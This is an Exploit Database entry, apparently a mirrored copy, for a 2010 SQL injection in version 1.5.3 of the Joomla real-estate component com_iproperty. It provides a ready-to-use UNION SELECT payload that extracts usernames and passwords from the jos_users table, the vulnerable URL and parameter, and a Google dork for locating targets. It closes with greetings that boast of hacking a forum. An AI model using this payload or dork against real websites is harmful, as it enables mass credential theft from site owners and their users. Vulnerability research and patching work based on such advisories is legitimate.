Joomla! Component Intellectual Property 1.5.3 – ‘id’ SQL Injection

• Exploit Database
• 9 阅读

• 作者： v3n0m
  日期： 2010-04-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12246/

•  ) )) ( ( ( (( ) ) 
  ( /(( /( ( ( /(( (( )\ ))\ ))\ ))\ ) )\ ) ( /(( /( 
  )\())\()))\ ))\()) )\)\ )\ (()/(()/(((()/(()/((()/( )\()) )\())
   ((_)((_)\(()/( ((_)((((_)((((_)(((_)(/(_))(_)) )\/(_))(_))/(_))(_)\|((_)\ 
  __ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))_((_)_ ((_)
  \ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \| \| __| _ \ ||_ _|| \| | |/ / 
   \ V / (_) || (_ |\ V / / _ \| (__ / _ \ | /| |) | _|| / |__ | | | .` | ' <
  |_| \___/\___| |_| /_/ \_\\___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
  										.WEB.ID
  -----------------------------------------------------------------------
   Joomla Component com_iproperty 1.5.3 (id) SQL Injection Vulnerability
  -----------------------------------------------------------------------
  Author	: v3n0m
  Site	: http://yogyacarderlink.web.id/
  Date		: April, 15-2010
  Location	: Jakarta, Indonesia
  Time Zone	: GMT +7:00
  ----------------------------------------------------------------
  
  Affected software description:
  ~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  Application	: Thinkery Intellectual Property
  Vendor	: http://iproperty.thethinkery.net/
  Price		: $225 USD
  Version 	: 1.5.3 Other versions may also be affected
  Google Dork	: inurl:com_iproperty
  
  Intellectual Property allows independent real estate agents, brokers, or property 
  management companies to upload and maintain property listings for sale, for rent and for lease. 
  Upload photos, add categories, sub-categories, agent profiles, company profiles. 
  Search with an advanced Google Map-Ajax-based map interface. Allow users to save and 
  manage favorite properties. Quickly customize colors, filters, galleries and more!
  ----------------------------------------------------------------
  
  Exploitz:
  ~~~~~~~
  
  -999999/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--
  
  
  SQLi p0c:
  ~~~~~~~
  
  http://127.0.0.1/[path]/index.php?option=com_iproperty&view=agentproperties&id=[elich4]
  ----------------------------------------------------------------
  
  Shoutz:
  ~~~~
  
  - 'oH lawd !! Malingsial lame forum g0t hacked for second times by Us,lulz...'
  - LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
  - setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
  - kiddies,whitehat,c4uR [tumben ga bawa martabak??],mywisdom,yadoy666,udhit
  - elicha cristia [me too... :)]
  - N.O.C & Technical Support @office
  - #yogyacarderlink @irc.dal.net
  ----------------------------------------------------------------
  Contact:
  ~~~~
  
  v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
  Homepage: http://yogyacarderlink.web.id/
  	http://v3n0m.blogdetik.com/
  	http://elich4.blogspot.com/ << Update donk >_<
  
  ---------------------------[EOF]--------------------------------